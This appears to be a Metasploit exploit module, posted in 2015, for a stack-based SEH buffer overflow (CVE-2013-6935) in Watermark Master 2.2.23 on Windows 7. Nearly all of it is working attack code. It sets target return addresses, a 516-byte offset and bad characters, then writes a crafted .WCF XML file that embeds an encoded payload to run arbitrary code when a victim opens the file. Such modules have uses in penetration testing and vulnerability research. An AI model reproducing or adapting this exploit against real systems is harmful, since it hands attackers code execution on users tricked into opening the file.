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Watermark Master Buffer Overflow (SEH)

Posted on 08 October 2015

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::FILEFORMAT
 include Msf::Exploit::Seh

 def initialize(info = {})
 super(update_info(info,
 'Name' => 'Watermark Master Buffer Overflow (SEH)',
 'Description' => %q{
 This module exploits a stack based buffer overflow in Watermark Master 2.2.23 when
 processing a specially crafted .WCF file. This vulnerability could be
 exploited by a remote attacker to execute arbitrary code on the target
 machine by enticing a user of Watermark Master to open a malicious .WCF file.
 },
 'License' => MSF_LICENSE,
 'Author' =>
 [
 'metacom', # Original discovery
 'Andrew Smith', # MSF Module
 ],
 'References' =>
 [
 [ 'OSVDB', '99226' ],
 [ 'CVE', '2013-6935'],
 [ 'EBD', '29327' ]
 ],
 'DefaultOptions' =>
 {
 'EXITFUNC' => 'process',
 },
 'Platform' => 'win',
 'Payload' =>
 {
 'BadChars' => "x00x0ax0dx3cx22x26",
 'DisableNops' => false,
 'Space' => 7276
 },

 'Targets' =>
 [
 [ 'Windows 7 x32 - Watermark Master 2.2.23',
 {
 'Ret' => 0x10015f2d, #p/p/r | CommonClassesMFC.dll
 'Offset' => 516
 }
 ],
 [ 'Windows 7 x64 - Watermark Master 2.2.23',
 {
 'Ret' => 0x1001329a, #p/p/r | CommonClassesMFC.dll
 'Offset' => 516
 }
 ],
 ],
 'Privileged' => false,
 'DisclosureDate' => 'Nov 1 2013',
 'DefaultTarget' => 0))

 register_options([OptString.new('FILENAME', [ false, 'The file name.', 'msf.wcf']),], self.class)

 end

 def exploit

 buffer = rand_text(target['Offset'])
 buffer << generate_seh_record(target.ret)
 buffer << payload.encoded
 buffer << rand_text(18000 - buffer.length)

 file = %Q|<?xml version="1.0" encoding="Windows-1252" ?><config ver="2.2.23.00">
<cols name="Files"/>
<cols name="Profiles">
<Property name="Profile">
<cols name="Watermarks"/>
<cols name="Timelines"/>
<cols name="Streams">
<Property name="Stream">
<Value name="SourcePath" type="8" value="#{buffer}"/>
</Property>
</cols>
<cols name=""/>
</Property>
</cols>
</config>|

 print_status("Creating '#{datastore['FILENAME']}' file ...")
 file_create(file)

 end
end

 

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